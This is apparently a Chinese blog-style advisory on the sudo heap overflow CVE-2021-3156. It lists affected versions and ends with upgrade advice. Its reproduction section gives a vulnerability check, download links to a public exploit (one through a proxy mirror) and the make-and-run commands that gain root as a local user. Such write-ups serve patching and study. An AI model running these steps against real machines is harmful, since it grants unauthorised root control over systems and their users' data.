一、漏洞简介
1月26日,Sudo发布安全通告,修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。请受影响的用户尽快采取措施进行防护。
二、影响版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
不受影响版本
Sudo =>1.9.5p2
三、漏洞复现
环境:kali虚拟机
普通用户,以及sudoedit版本为1.8.31p1
漏洞利用下载地址:
https://github.com/blasty/CVE-2021-3156
第一步使用
sudoedit ‐s / 命令来查看是否用风险
sudoedit ‐s /
返回以“ sudoedit:”开头的错误,则可能存在安全风险。
返回以“ usage:”开头的错误响应,则无影响
然后下载漏洞利用的地址
https://github.91chifun.workers.dev//https://github.com/blasty/CVE-2021-3156.git
后进入 ./CVE-2021-3156文件夹内
make
./sudo-hax-me-a-sandwich
这个出现的(0)(1)(2)显示的是可以进行漏洞利用的版本
然后在根据我们所知道我的sudoedit版本为1.8.31p1,根据以上所示,我们要选择1
所以,输入命令
./sudo-hax-me-a-sandwich 1
即可成功
四、漏洞防护
目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护,或者更新
参考链接
https://www.freebuf.com/vuls/262534.html